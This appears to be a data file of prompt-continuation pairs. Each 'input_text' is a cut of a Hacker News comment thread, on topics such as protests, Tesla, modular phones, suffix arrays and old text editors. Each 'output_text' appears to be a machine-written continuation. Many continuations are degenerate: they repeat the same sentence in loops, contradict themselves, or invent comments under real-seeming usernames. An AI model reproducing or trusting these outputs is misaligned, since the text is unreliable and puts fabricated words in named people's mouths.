author is right that the protests are a symptom of a larger problem, but\nthe problem is not the protesters. The problem is the police.\n\nThe police are the ones who are supposed to be protecting the protesters, but\ninstead they are the ones who are attacking them.\n\nThe police are the ones who are supposed to be protecting the protesters, but\ninstead they are the ones who are attacking them.\n\nThe police", "input_text": " I'm in graduate school right now and you won't get a call back for\n2nd rounds if you have a beard. It's some sort of irrational proxy for\ndiscipline.\n\n------\nmariodiana\n> Alumni should take it into account before writing any more checks.\n\nThis is the key takeaway for anyone interested in getting this nonsense to\nstop.\n\n------\neconnors\nAs a student at Dartmouth, I find this article to be extremely accurate and\nrepresentative of the culture I've encountered amongst the protests here and\n(through conversations with friends) at other places across the country. As a\nwhite male, my friends and I are too intimidated by the Black Lives Matter\nprotesters and their actions to try to initiate any sort of discussion on the\nmatter in fear that we'll only provoke more anger and protest.\n\n~~~\nflopto\nIf people are angry about X and you go up to them and try to tell them how\nmuch you like/support X, isn't that what you'd expect? To make people want to\nengage you in a thoughtful discussion, it's important to demonstrate humility\nand open-mindedness to their opinions.\n\n~~~\nremarkEon\nI recently tried to engage a BLM protester about the issues, hoping to have a\nthoughtful discussion about some policies and ways forward to improve the\nsituation. 3 paragraphs latter, I was being told that my white privilege\nshould exclude me from even participating in the discussion, let alone\ninforming decisions about policy - ostensibly because I do not have a shared\nexperience of discrimination.\n\nDisclaimer: I'm a white male from the midwest.\n\n------\nlanny\nWhile I agree with most of the article, the author tries to politicize it at\npoints,"} +{"output_text": " no idea what they were talking about.\n\n~~~\njoe_the_user\nI think you're right.\n\nI think the problem is that people are not very good at talking about what\nthey want to talk about.\n\nI think the problem is that people are not very good at talking about what\nthey want to talk about.\n\nI think the problem is that people are not very good at talking about what\nthey want to talk about.\n\nI", "input_text": ".\n\nI am just curious. Everyone acts rationally from their point of view. Why do\npeople do what they do? What makes them successful? Failures? What is their\ntake on living? Most people are passionate about something, so tell me about\nit. I'll learn something new.\n\nI spent a lot of time learning how to actively listen, not just wait for an\nopportunity to jump into a conversation with my own immature opinions. (I have\nmany.) I am not afraid to ask dumb questions in an effort to learn. I have no\nfear that people will think I am stupid. Actually, asking questions makes you\nlook like a genius.\n\nCaveat: There are some people who lack the spark of life. I don't spend time\nwith them.\n\n~~~\nctdonath\n_Most people are passionate about something, so tell me about it._\n\nThat's my sticking point: in situations referred to, the person in question\nall too often isn't prone to discussing what he _want_ to discuss, but what\nhis fans do. How to, as a random face wandering up as so many do, can one\nelicit some fragment of \"say, what do _you_ want to talk about or do?\"\n\nThe nuance struck me when meeting (as just another face in the room) Steve\nReich and Philip Glass. During a talk, Reich lamented that everyone wanted to\ngush over his early works, which he made clear he viewed as immature - not\nbad, but something he has moved far beyond. Able to stand nearby someone's\nhallway chat with Glass, I was struck by how _much_ the two had to talk about,\nhow the other person wasn't anyone the great composer knew, and how I had\nabsolutely"} +{"output_text": " of the total\n> population who are most likely to be wrong.\n\n~~~\nmatt4077\nThanks for the clarification.\n\n------\nmatt4077\nI'm not sure I understand the point of this article.\n\nThe author seems to be saying that the universe is a big place, and that\nthere's a lot of space for life to exist.\n\nBut then he goes on to say that the probability of life existing in a given\nplace is", "input_text": "\n\nYet we have not shrunk in size as the species has grown in population, and if\nanything, have grown larger.\n\nIf we look at the total biomass on earth, we are a fairly small portion of it.\nSo shouldn't we assume, as we are assuming our situation is average, that\nintelligent aliens are also a fairly small portion of their planet's biomass?\nAnd if so, wouldn't the size of the aliens themselves be something that has\nvery little to do with the total energy reaching the planet surface?\n\nI get that it's just statistical probability and math, and it's fun, but this\nparticular thing stuck out for me.\n\nIt was a fun read regardless, so thank you for the break from work!\n\n~~~\nwrsh07\nThey actually respond to you in the FAQ:\n\n> \"What if people who lived several centuries ago did a calculation on how\n> many births there would be?\"\n\n> This appears to be one of the most widespread misconceptions on the topic.\n> Many scientists have fallen into this trap, such as Lee Smolin's article\n> from 2004. In science there is never absolute certainty, only varying\n> degrees of confidence. We should never be 100% sure of anything. When\n> stating the degree of confidence in a result, typically 95%, it should be in\n> full knowledge that one time out of twenty, we will be wrong. 5% of the time\n> we will be misled by statistical chance.\n\n> Now if someone who lived tens of thousands of years ago estimates the total\n> number of human births, based on how many there had already been, they will\n> underestimate the truth. Because we now know there has been many more. But\n> those first 5% of people who ever lived represent the 5%"} +{"output_text": " not a requirement.\n\n------\njedberg\nI'm not sure why this is on the front page. It's a pretty standard article\nabout a company that is doing a lot of things right.\n\n~~~\ndang\nIt's not a standard article, but it's a good one.\n\n------\njedberg\nI'm not sure why this is on the front page. It's a pretty standard article\nabout a company that is doing a lot of", "input_text": " which a worker had died on\nthe job and her co-workers were told to carry on working in the presence of\nher corpse._\n\nNo, they didn't. This was about a different company.\n\n------\ndvfjsdhgfv\n> Apart from employing a lot of staff, Amazon does a number of things\n> progressives ought to like. For instance, it employs a very diverse group of\n> people. On my shift, I work with African-Americans, Asian-Americans,\n> Hispanic-Americans, white people, gay people, deaf people, ex-convicts, and\n> people whose ethnicities and even genders are a mystery to me.\n\nThis is a warehouse job with a medium low salary. If the author worked as a\nprogrammer and could still repeat the above, that would really be commendable.\n\n~~~\nDrScump\n\n If the author worked as a programmer and could still repeat the above\n \n\nAs a programmer for a \"stodgy\" defense contractor, the programmers in my group\nalone included our Chinese-born female project leader, a Hong Kong-born\nfemale, a deaf male (and new parent), an African-American female, a Cuban-born\nmale, an Iranian-born male, a Kuwaiti-born female, an ethnic Chinese SF-born\nfemale, and me.\n\nAnd we were _awesome_.\n\n~~~\ndvfjsdhgfv\n> And we were awesome.\n\nThat's excellent and I envy you, it must be a great team to work with and even\nhang out after work. But how is this related to Amazon?\n\n~~~\nDrScump\nIt addressed the parent comment that implied that programming organizations\nare inherently not diverse.\n\nToo many are not, but it's"} +{"output_text": " the car itself.\n\n~~~\njedberg\nI think the production line is the product because it's the only way to\nproduce the car at a low price.\n\nIf you can't make the car at a low price, you can't sell it at a low price.\n\n~~~\nsunstone\nI think you're right.\n\n------\njedberg\nI'm really curious to see how this plays out.\n\nI think the biggest question", "input_text": " on Tesla becoming the next Porsche as far as volume and market.\nThat's not a bad place to be, but it's not where the market has priced them\nat.\n\n~~~\ngfodor\nYeah that's why I said it's personal. I feel the design of the car is\nextremely forward looking and was primarily driven by good taste not cost\nconstraints. I hate to keep making the comparisons but it reminds me of Apple\nripping out all but essential components -- easy to see through the lens of\ncosts in the short term but in the long term provides freedom to take the\ndesign further in the next iteration. The 3 represents a foundational design\nthat transitions elegantly to autonomous control (imho) and will provide the\nvantage point Tesla needs to design their first from-the-ground up autocar.\n\n~~~\nBoorishBears\nThe problem for me is it feels like the market (and Tesla to an extent) has\njumped the gun.\n\nTesla hasn't demonstrated enough self-driving progress (and imo, no one has\nyet) to justify the car's design to me, nor being a company with a 54 billion\ndollar market cap.\n\nIt's one thing if FSD was just on the horizon, but there are an incredible\nnumber of very hard problems to solve before we get there. Yet Tesla is\ndesigning a car that requires FSD for justification of it's interior and\ncharging for FSD as a feature.\n\n------\nsunstone\nIn the run up to model 3 production Musk mentioned that \"the production line\nis the product\" because it was needed to be highly automated to make a great\ncar at a low price.\n\nClearly getting the production line wrinkles ironed out has been a much bigger\nchallenge than"} +{"output_text": " of things you can do, and do them.\n\n2\\. Stop thinking about the future. I am not saying don't think about the\nfuture, but don't think about the future. You will be ok. You will be ok. You\nwill be ok.\n\n3\\. Stop thinking about the past. I am not saying don't think about the past,\nbut don't think about the past. You will be ok. You will be ok. You will be\n", "input_text": " I could quit my startup, tell my partner and\nemployees to go fuck themselves. The good days, are good, I guess I can\nappreciate them more after this, they got some extra flavour. I can be a nice\nperson to work, or live with.\n\nIt's hard to talk. Even when I am able to tell someone \"this day sucks\" or \"I\nam heavily depressed\", I can't tell why, I don't know. Some people are really\nuncomfortable when you almost cry for no reason in front them. I don't really\nblame them, or their poor comments, they try, some are afraid that's ok.\n\n\"That's ok\", that's valid thing from them and for me. It's a good mantra. We\nusually slam more shit over the shit, and we bang our heads against the wall\n\"Why am I like that?\"... Leave it be! you are already feeling like shit, let\nyourself some air.\n\nAnd I guess you wrote this post in a \"down\". The few words that helped for me\nwere \"that's ok\" because all the rest seemed impossible.\n\nI have been very bad for months, there were one or two days in the week where\nit was bearable / I was feeling good. Just hiding it from coworkers was a\nchallenge, working from home helped to hide it, but not to get better.\n\nThere are a few things I can recommend because that worked for me, but it's\neasier to work on them on the good days.\n\n1\\. Stop blaming yourself. Really, you are ok, but I will extend on that\nlater. When you feel not able to do anything, just don't do anything. You will\nsurvive. You feel time craving, do a list"} +{"output_text": "-2000s Dell laptops. They were modular, but you had to\nremove the battery and the hard drive to get to the motherboard.\n\n~~~\nfnord123\nI think the old Dell laptops were modular, but I don't think they were\nremovable.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a\n\"breakthrough\".\n\nIt's a modular phone, with a", "input_text": "google-smartphone-idUKKCN11806C\n======\nxenadu02\nAnyone paying the slightest bit of attention knew this was the ultimate result\non the very day they announced it.\n\nTo make something modular you need to wrap each piece in its own case, add\nbulky connectors, etc. Both weight and volume are at an extreme premium in\nmobile devices. All that metal/plastic going in to making the pieces modular\nis stealing volume and weight from the battery.\n\nThe only realistic way to make the power envelope is to use an SoC, which\nmeans the CPU, GPU, and RAM must all be in the same module. That doesn't leave\na lot worth upgrading... maybe just the radio module. Jumping up in screen\nresolution would mean replacing the SoC to get a better GPU too.\n\nModularity worked in desktop PCs because they have gobs of space and an AC\npower connection.\n\n~~~\npeterjlee\nFirst thing that came into mind when I heard about project Ara was that,\nlaptops aren't modular because the increased size and weight will out weigh\nthe benefits. Seemed like the same situation applies to smartphones, only\nworse.\n\n~~~\nfnord123\nThey used to be modular until companies started to follow Apple down the\ncurrent path. I had a Dell Inspiron with removable battery, removable DVD\ndrive, and PCMCIA slot for modular functionality.\n\nNow we have come somewhat full circle with Apple's Macbook which has meagre\nhardware functionality and relies on USB-C to provide the missing\nfunctionality in a modular fashion. However it means a nest of cables so it's\nprobably not what anyone wants when they want a modular laptop.\n\n~~~\ndjsumdog\nI remember the old mid"} +{"output_text": "-\nspace/a1138/how-...](http://www.popularmechanics.com/science/air-\nspace/a1138/how-to-build-a-space-shuttle/)\n\n2) why is the article on Popular Mechanics so much better than the one on\nSpace.com?\n\n~~~\nrbanffy\nBecause the article on Popular Mechanics is written by a professional writer\nand the article on Space.com", "input_text": " to create the exact misconceptions\nyou are spreading.\n\nI don't think you looked at a single one of the links I posted. You are very\ncaught up in what Zubrin says, but you are not looking at what anyone else\nsays. So how do you know he's right, and they are wrong?\n\n------\nLocke1689\nFrom what I hear, it seems like reprieving the shuttle isn't really an option.\nIt's so out of date and unsafe that NASA isn't willing to use it anymore.\n\nSure there are problems with Ares, but isn't that what engineers are for?\n\n~~~\nrbanffy\nIt's fine, as long as you let them design the system.\n\nThe shuttle, as it is, came out of an engineer's drawing board, but not before\naddressing the wishes of a lot of politicians.\n\nI am all in for Ares, as long as engineers are in control. It seems they are\nnot.\n\n------\nedw519\nSounds like Obama needs to pull a \"Kennedy\" and define the goal. Amazing what\nsmart people can do with a little vision.\n\n~~~\nsketerpot\nIt helps to have funding that won't be cut off in two years by a mercurial\ncongress.\n\n~~~\nDanielBMarkham\nYes.\n\nPoliticians have a lot of vision, but little commitment.\n\nWe would have not went to the moon in the 1960s without the cold war.\n\n------\nTriinT\nTwo questions:\n\n1) why isn't the URL linking to the article on Popular Mechanics? (which is a\nlot better than this article)\n\n[http://www.popularmechanics.com/science/air"} +{"output_text": "angladesh embassy in Washington who didn\u2019t do their jobs.\n\n~~~\nsremani\nI am not blaming the west, I am blaming the west for not doing enough to\nprevent the situation from getting worse.\n\n~~~\nrayiner\nI\u2019m not blaming the west for anything. I\u2019m saying that the west is not\nresponsible for the situation in Bangladesh.\n\n~~~\nsremani\nI am not blaming the west for anything.", "input_text": " of \u2018west\u2019 you are using include the US?\n\nIn case it is relevant, I am from New Zealand and think the disgusting\nbehaviour in the region started long before the US got involved and includes\nfar more countries than any set defined as \u2018western\u2019. Even places as far away\nand as small as New Zealand have ended up with a record of massacres and\nmurders when in involved in the region.\n\n~~~\nrayiner\nI\u2019m saying Americans blame the west, not necessarily that Americans blame\nAmerica. America had very little to do in the subcontinent, for example.\n\nAs to it being patronizing. Speaking for myself\u2014I think if you can\u2019t blame\npeople for the state of their own country, you\u2019re taking agency away from\nthose people. The British did lots of bad things in the subcontinent and\nlooted it. (They also left some really good values and ideas and\ninstitutions.) But that ended 70 years ago. In that same time period, South\nKorea went from being nearly as poor, and far more war torn, to being a\ndeveloped nation. It\u2019s not the absence of interference from the west that did\nthat, it\u2019s the industry and virtue of the Korean people. Likewise, to the\nextent Bangladesh hasn\u2019t grown as fast as it should (and to be fair, things\nhave gotten better at least on the economic side in the last decade), who is\nto blame? I think it\u2019s patronizing to continue to blame the west. Maybe blame\nthe fact that Bangladeshis supported a military dictator for President,\nsupported dismantling secularism, invited fundamentalism in from the Middle\nEast, etc. Whose fault is it? Maybe it\u2019s the fault of the clerks in the\nB"} +{"output_text": "ah-wah, Millennials are entitled and don 't want to do 70 hours per week of\nour grunt work, and they leave before they burn out and we can fire them._\n\nI'm not sure what you're trying to say here. I'm a Millennial, and I've been\nat my current job for over a year. I've worked 70 hours per week, and I've\nnever left before I burned out. I've been at my current job", "input_text": "ify it from being a \"good job\".\n\nFollow up needs to be \"Why Good People Stay at Bad Jobs\".\n\n~~~\nmisiti3780\nagree\n\n------\nmichaelochurch\nOP is a wanker. Wah-wah, Millennials are entitled and don't want to do 70\nhours per week of our grunt work, and they leave before they burn out and we\ncan fire them.\n\nPeople should leave jobs as soon as they realize they aren't going to learn or\ngrow where they are. This can happen after 8 years, or 3 months. Companies\ndon't promise to employ people for 3 years regardless of whether they are any\ngood, so why should an employee be expected to pay dues in a job that's\nobviously not going to lead anywhere?\n\nThe \"job hopper\" stigma is perpetuated by people who only want the side of \"at\nwill\" that benefits them.\n\nI will say that most 22-year-olds need to be better at figuring out when a job\nis worth leaving, because I've seen error on both sides. Everyone gets grunt\nwork when they start out, but there are chef's apprentices (who still get\ngrunt work, but are being primed for something better) and there are\ndishwashers, and it's important to figure out, in an entry-level job, which of\nthese you are. That's a separate matter altogether. I've known a few job\nhoppers and they're not all people with bad judgment.\n\nThat said, people should generally go into jobs with the intention and hope of\nbeing there for at least 2 years, but I think that goes without saying.\n\n~~~\nachompas\nHey Mike! Hope you're doing well.\n\n _W"} +{"output_text": " are a bit different. They're used to augment the\nview of the pilot, not the mechanics.\n\n~~~\njessriedel\nI'm not sure what you mean. The article says that the mechanics are using\nglasses to augment their view of the instructions.\n\n~~~\nTHE_PUN_STOPS\nI'm not sure what you mean. The article says that the mechanics are using\nglasses to augment their view of the instructions.\n\n------\n", "input_text": ", and it also prevents positive outcomes. People chronically lie to their\ndoctors about their actual lifestyle behavior and then are surprised that the\nDr. didn't catch all the warning signs for some disease.\n\nMore data = better outcomes.\n\n~~~\ngnaritas\nCameras won't add more data as they'll simply discourage people from admitting\nanything or even going to a doctor. I would not allow my doctor to film me,\nnor would I imagine most sensible and normal people who have an ordinary sense\nof privacy. Your doctor works for you, not the other way around, you decide\nwhat is acceptable behavior, not them.\n\n------\njessriedel\n> The mechanics moved carefully, putting down tools and climbing up and down\n> ladders to consult paper instructions in between steps... Fast forward to\n> today, and GE\u2019s mechanics now use Glass running software from our partner\n> Upskill, which shows them instructions with videos, animations and images\n> right in their line of sight so they don\u2019t have to stop work to check their\n> binders or computer to know what to do next.\n\nThe article makes it sound like Google glass is the first to do anything like\nthis, and it was all paper manuals before that. In fact, aircraft\nmanufacturers have been using smart glasses for years to augment workers.\n\n[http://www.engineering.com/AdvancedManufacturing/ArticleID/1...](http://www.engineering.com/AdvancedManufacturing/ArticleID/14634/Airbus-\nUses-Smart-Glasses-to-Improve-Manufacturing-Efficiency.aspx)\n\nMaybe Glass is a significant improvement, but it's not unprecedented.\n\n~~~\nTHE_PUN_STOPS\nSmart glasses in aviation"} +{"output_text": "www.youtube.com/watch?v=rz51_wFgNrQ)\n\n------\njimmywanger\nI'm not sure if this is a good idea, but I'm going to try it.\n\nI'm going to try to play a few games of chess with a chess engine.\n\nI'm going to try to play a few games of chess with a chess engine.\n\nI'm going to try to play a few games of", "input_text": "\n\nSo chess engines CAN be ported to a GPU. From here on out, its a matter of\nexperimenting with various methodologies to see what creates the most powerful\nchess player.\n\n\\--------\n\nI'm going to have to go through the MCTS part later. Its clearly some kind of\nparallel implementation that batches up nodes for MCTS evaluation.\n\nThe GPU probably can run some of the MCTS stuff faster than the CPU (ex: the\nUCT evaluation probably should be on the GPU: which could be done relatively\neasily by passing play-statistics to the GPU kernel. GPUs are very fast at\nsquare-roots and stuff, and you're already spinning up a GPU thread for the\nwhole random-rollout thing, might as well evaluate the UCT value while you're\nstill in GPU land. I think anyway)\n\nBut yeah, I haven't fully understood how you're doing the MCTS stuff yet. Its\ndefinitely interesting code though.\n\n\\----------\n\nEDIT: I'd personally want to figure out how to get the MCTS search into the\nGPU somehow. But doing the rollouts on the GPU is the \"obvious\" first step (at\na minimum, you need to have a chess engine in the GPU before any further steps\nare possible), and its cool that you found a practical use of the random-play\nengine with the classic MCTS algorithm.\n\n------\nmrob\nFIDE Candidate Master Kingscrusher (Tryfon Gavriel) has been posting analysis\nvideos for some of these games on Youtube. LC0's win as black against the\nTrompowsky Attack was particularly impressive:\n\n[https://www.youtube.com/watch?v=rz51_wFgNrQ](https://"} +{"output_text": "\n\n~~~\nhermitdev\nI'm not familiar with the incident, but I'm curious as to why the pilot didn't\nsee the island. I'm assuming it was night-time, but I'm not sure.\n\nI'm also curious as to why the island wasn't on the aircraft's mapping system.\nI'm assuming it was a new island, but I'm not sure.\n\n~~~\nroryisok\nThe pilot was flying a helicopter, which", "input_text": " naming. I imagine we will want an airport code\nstaring with YC, so it'll have to be in Canada :P\n\n------\nroryisok\nNot funny but sort of relevant. Here in Ireland we just had an air disaster -\nan air sea rescue helicopter crashed into an island off the west coast and all\naboard were killed. The accident investigation has determined that the island\nwas not registered on the aircraft's mapping system.\n\n~~~\nhermitdev\nThis is why every air craft comes equipped with a set of MKII eyeballs. Not\ntrying to make light of it, or anything, but this is a prime example of why\ngood vision is a requirement of any pilot. Not familiar with this incident or\nwhether it was night-time or during inclement weather.\n\nRegardless of the circumstance, my apologies & condolences to the friends &\nfamily of the crew and any passengers. From your short description, this seems\nlike an easily avoided accident and I hope actions are being taken to prevent\na recurrence.\n\n~~~\nroryisok\nAccording to the recovered black box recordings, one of the crew did see the\nisland, but not soon enough.\n\nProbably the most shocking part is that there was a lighthouse on this island,\nwhich was operational at the time. This is shocking both because it should\nhave been blindingly obvious to the pilot and crew that they were flying\ntoward a lighthouse, and also that an island significant enough to have a\nlighthouse on it would not be on a digital mapping system. It's on Google maps\n- [https://goo.gl/maps/Xdt7rzUErX42](https://goo.gl/maps/Xdt7rzUErX42), even\nhas photos and information."} +{"output_text": "\nterm memory is a form of intelligence.\n\n~~~\nkazinator\n> _We already have amplified memory (see also: books, mnemonics). and google\n> amplifies retrieval._\n\nI don't think that's true.\n\nBooks are not memory. They are a form of knowledge.\n\nMnemonics are not memory. They are a form of knowledge.\n\nGoogle is not memory. It is a search engine.\n\n~~~\n", "input_text": "68k\nNothing is more high-tech than culture, it's _everything_ even if we tend to\nwork over the seemingly faceless Internet these days - it's people all the way\ndown.\n\n------\nmaxander\nThe idea of \"notation as intelligence augmentation\" is the reason (or one of\nthem) that Haskell programmers are so enthusiastic about things like functors\nand monads; type theory is its own branch of mathematics that could be\nappended in the list of things like calculus and vector analysis [1], and\nmight bring in the same kind of new levels of thought and abstraction.\n\n[1] Disclaimer; I am not a mathematician.\n\n------\nMaysonL\nWhen considering intelligence amplification, the book that comes to mind is\n_Psychohistorical Crisis_, by Donald Kingsbury. Computer-to-brain interfaces\nmay go a long way in the next few thousand years.\n\n[https://en.wikipedia.org/wiki/Psychohistorical_Crisis](https://en.wikipedia.org/wiki/Psychohistorical_Crisis)\n\n~~~\narethuza\nAlso Vernon Vinge's _Rainbows End_ which has both IA and AI in a fairly\nplausible near future scenario:\n\n[https://en.wikipedia.org/wiki/Rainbows_End](https://en.wikipedia.org/wiki/Rainbows_End)\n\n------\nhyperpallium\noblig. [https://xkcd.com/903/](https://xkcd.com/903/)\n\nWe already have amplified memory (see also: books, mnemonics). and google\namplifies _retrieval_.\n\nBut what is \"intelligence\", that we might amplify it? For me, limited short-"} +{"output_text": " file from the index.\n\n------\njedisct1\nI'm not sure if this is a good idea, but I'm curious:\n\n> The suffix array is a data structure that can be used to efficiently\n> answer queries like \"find all the occurrences of the substring 'abc' in the\n> text\".\n\nI'm not sure if this is a good idea, but I'm curious:\n\n> The suffix array is a data structure that can", "input_text": "/xxsds/sdsl-lite) (currently unstable!)\n\n------\nvisarga\nI used to play with suffix arrays a long time ago. I wanted to accelerate grep\non a gigabyte text file. The tool was called \"sary\" (short for suffix array)\nand still exists on a forgotten SourceForce page. Good tool, it was able to\nfind any substring in a huge file instantly.\n\n~~~\ntmzt\nHow might your method compare to the tech in ripgrep or The Silver Searcher?\nAre there cases where it might be faster?\n\n~~~\nnialo\nThey solve different problems. In particular, ripgrep and friends are designed\nto search arbitrary and potentially large directories with no pre-computation.\nThey run in time ~linear in the size of the files to be searched.\n\nThe paper under discussion here is about a new way to create an index that\nalso takes time ~linear in the size of the files to be searched, although\npresumably with a higher constant factor than just searching those files.\nAfter you have the index it's possible to search it in time linear in the\nlength of the query rather than the files. This is much faster, but requires\nstoring an index that is at least as large as the original file set, and\nkeeping it up to date as things are changed etc.\n\n~~~\nnightcracker\nCan you retrieve the original file from the index? If yes it's maybe\ninteresting to store files like that for some databases by default and\nretrieve the original file only when needed.\n\n~~~\nnialo\nI haven't read this paper, and haven't worked with the compressed variety of\nsuffix trees/arrays. That said, I'm confident it's possible to retrieve the\noriginal"} +{"output_text": "\n\n------\njancsika\nI remember using a text editor called \"TSE\" on OS/2. It was a very nice\neditor.\n\n------\njancsika\nI remember using a text editor called \"TSE\" on OS/2. It was a very nice\neditor.\n\n------\njancsika\nI remember using a text editor called \"TSE\" on OS/2. It was a very nice\neditor.\n", "input_text": " than (e.g.) TSE. Don\u2019t misunderstand me, I\nsurely like Emacs and I use it regularly, but the command-line version is a\nstrange thing in a DOS environment.\n\n------\nlsllc\nThe TSE/QEDIT and FTE TUI's look like they were made with Borland's Turbo\nVision framework [0].\n\nOh man, so much retro-computing these days on HN, I love it!\n\n[0]\n[https://en.wikipedia.org/wiki/Turbo_Vision](https://en.wikipedia.org/wiki/Turbo_Vision)\n\n------\ncraz8\nMicrosoft did release a nice editor called M back around the end of the 80s\n\nHere\u2019s some info about it, and maybe a way to get something that works today\n\n[http://www.os2museum.com/wp/microsoft-\neditor/](http://www.os2museum.com/wp/microsoft-editor/)\n\n~~~\nLocalH\nThat guest post was by the same author as the linked post. In fact, the linked\npost is also present in your link, linked in the first sentence.\n\n------\nkarmakaze\nThere was this awesome editor called Kedit that I used on OS/2 and Win NT. I\nthink there were text and GUI versions, but not free.\n\nEdit: search turns up a free/shareware GUI version, no mention of the\n'classic' text-mode one\n\n~~~\nrhabarba\nKEDIT, the XEDIT clone? There is a free version of that, The Hessling Editor.\n\n~~~\nkarmakaze\nYes. I's forgotten its xedit roots."} +{"output_text": " on emoji.\n\n------\njoshu\nI'm not sure I'd call this a side project.\n\n~~~\njoshu\nI guess I should clarify. I'm not sure I'd call this a side project. I'm\ntalking about the \"side\" projects that are not \"side\" projects.\n\n------\njoshu\nI'm not sure I'd call this a side project.\n\n~~~\njoshu\nI guess", "input_text": " to send many pictures\nto a group of friends in one go.\"\n\nIsn't that email?\n\n~~~\njazzychad\nyes, it is. however, accomplishing this with email on iphone is extremely\ntedious (many steps) and error-prone.\n\n~~~\nhnriot\nNot in my experience, camera roll, select photos, share, email, auto-complete\nfriends email address's, send\n\nThis isn't in any way tedious or error prone.\n\n------\nkyle_wm\n\"I wanted to improve my life skills in some other fashion than programming...\nI needed a way to train myself since there are many rules to learn. So, what\ndo I do? I break my rule of no more programming and write my own training\nsoftware.\"\n\nThings like this confirm for me that I am in the right profession :)\n\n------\nmroth\nnice list! I also did a similar post, and since people seem to be posting\ntheirs here, here's mine: [http://blog.mroth.info/blog/2012/11/11/the-year-in-\nside-proj...](http://blog.mroth.info/blog/2012/11/11/the-year-in-side-\nprojects/)\n\n~~~\nbrador\nI'm loving this stuff! It says you went on a domain buying spree after the\nemoji find. Can I ask what Other domains you got? Is there something special\nabout the.ws or does it work on.com too?\n\n~~~\nmroth\nfor.ws, as far as I can tell, most TLDs don't allow \"fun\" things such as\nemoji, and the software most registrars use also sometimes barfs"} +{"output_text": "\n\n\\+ Free trial\n\n\\+ Free plan\n\n\\+ Free plan with unlimited testing\n\n\\+ Free plan with unlimited testing and unlimited users\n\n\\+ Free plan with unlimited users and unlimited testing\n\n\\+ Free plan with unlimited users and unlimited testing and unlimited users\n\n\\+ Free plan with unlimited users and unlimited testing and unlimited users\n\n\\+ Free plan with unlimited users and unlimited testing and unlimited users\n\n\\+ Free plan with unlimited users and unlimited testing and unlimited users\n\n\\+ Free", "input_text": "1], they recommend to put the service on a\ndedicated machine on your intranet that you can zone off so it only has access\nto the parts of the network you want to allow.\n\nSeems like a decent solution to allow a running a cloud service behind a\nfirewall.\n\n[1] \n\n~~~\nhighwind\nStill. I feel like the price is way too much. The recommended plan is\n$149/month. For the long run, buying a decent machine and running your own\nvirtual machines would be cheaper.\n\nSomeone prove me wrong.\n\n~~~\nawilson820\nWhat you're seeing is actually pricing for our automated testing service.\nSauce for Mac is either free (30 mins of testing/mo) or $12/mo (for unlimited\nminutes against all browsers). It also comes included with all the testing\nplans on that page.\n\n~~~\njoshstrange\nWhoa, this is news to me, I checked out sauce a month or so ago and came to\nthe same conclusion as highwind. $12/mo is something that I would be more\ninterested in. You should make that way more obvious. I haven't fully\nharnessed the power of TDD and it isn't used at my current job so I have no\nuse for it. On the other hand the ability to test websites on different\nbrowsers is very important to my job and for $12/mo it's something I can\nafford to get for myself to use for work and personal projects.\n\n------\njakozaur\nGood concept, but prefer one of their competitors: \n\n\\+ Web based\n\n\\+ No account needed to try it"} +{"output_text": "way to go to college.\n\n~~~\njbooth\nI think the community college model is a good one, but I think it's a bit\nmisguided to think that the community college model is the only way to go.\n\nI think the community college model is a good one because it's a good way to\nget a degree without having to pay for it. It's a good model because it's\ncheap, and it's a good model because it's", "input_text": " and getting enough sleep. Lots of people work while going to school\nand end up dropping out or going every other semester because they don't make\nenough in their low-paying unskilled labor job. This is a vicious cycle which\nresults in the poor staying poor because they can't make enough at the job\nthey must have in order to pay for education.\n\nChildren from wealthier families can afford to funnel a bit of money towards\ntheir education, and maybe only work part-time for some spending money. Don't\nget me wrong - highly educated people are great for a society and this\nshouldn't be discouraged, but I also think we have a duty to help those living\nharder lives than our own.\n\n~~~\nrdl\nI agree most education should be free -- just not that 4-year residential\ninstitutions (particularly mediocre ones) should be subsidized. The purpose of\npartial payment by the user for a service like community college is to\ndiscourage waste; something on the order of $100-200 per class would be\nadequate for that. It would be payment by the student, not by his family.\n\nThe community college model is that you can work while attending. I don't\nthink it is unreasonable to expect someone to do so -- working full time while\nattending a 4 year university is probably not viable (I tried doing it, and\nultimately dropped out), but I think the Internet should allow an expansion of\nthe role of online courses and community college, both highly compatible with\nwork-study.\n\nI would go so far as to eliminate non-merit scholarships and financial aid\n(subsidized loans, etc.) for 4 year institutions (except for things like the\nGI Bill which are a form of compensation). They should not be the mainstream\n"} +{"output_text": "\nexperience and the other half through luck.\n\nI'm not sure what the best approach is, but I'm leaning towards the \"ship\nearly\" approach. I'm not sure how much of a difference it makes, but I'm\nhoping that it will help me get to the finish line faster.\n\n------\njoshu\nI think you're right to be concerned about feature creep.\n\nI think you're also right to be concerned about the market.\n", "input_text": " 10% its price point\u2014it will give you\nconfidence and will validate that your product is valuable.\n\nAs for the feature creep, I think it will happen always, as each customer has\nits own view on your product, and since you're the one making it, they will\ntell you things, some are good ideas, but most of them are not very good,\nsince most don't know what they want. You'll have to find balance.\n\nThe thing that helped me a lot is being in a big city. I'm from a way smaller\nplace and I've been building stuff for 15+ years, and the big city mindset is\nway more open than the small city's, as they will use anything, but only once\nit has been proved.\n\nI hope those pieces of advice help you in your journey. If you want to talk a\nlittle bit more, my email is in my bio.\n\n------\ngenbit\nIf you now someone who can/want also use your product, ship early versions to\nthem. Even screenshots. If not, try to find these users, and ship to them :)\n\nI think, early fear of shipping is a symptom of uncertainty \"will someone need\nthis product?\" You should try to find this someone as soon as possible, and\nget feedback from them.\n\n------\nmcmatterson\nI'm facing the same dilemma with a hardware project of mine ([http://tooner-\ntest.moshozen.com](http://tooner-test.moshozen.com)). In the past month alone,\nI've been stuck on several things (public name, dealing with constant ID\ncreep, finding a mill that can resaw, among others). Though they're\ncontradictory, it seems that half of the roadblocks get solved through"} +{"output_text": " loss, it's a sign that the goal is\nunrealistic.\n\n~~~\nelnado\nI agree, but I think that's a good thing. It's a sign that the goal is\nunrealistic, but it's also a sign that the goal is not worth pursuing.\n\n------\njoshu\nI think the best way to learn is to do.\n\nI'm not sure how to do that, but I think it's a good idea to", "input_text": " general, it's probably a better idea to strengthen one's foundation as they\nserve as the prerequisites for more advanced subjects. Google's guide to\ntechnical development [0] is a good place to start.\n\nAs far as just finding courses to take, you could just search the course\ncatalogs of sites like Coursera, edx, Udacity, and Stanford's online offerings\n[1].\n\n[0] [https://www.google.com/about/careers/students/guide-to-\ntechn...](https://www.google.com/about/careers/students/guide-to-technical-\ndevelopment.html)\n\n[1]\n[https://lagunita.stanford.edu/courses](https://lagunita.stanford.edu/courses)\n\n------\nelnado\nUgh, regardless of what we say we wish to do on this post, what I'm sure many\nof us lack 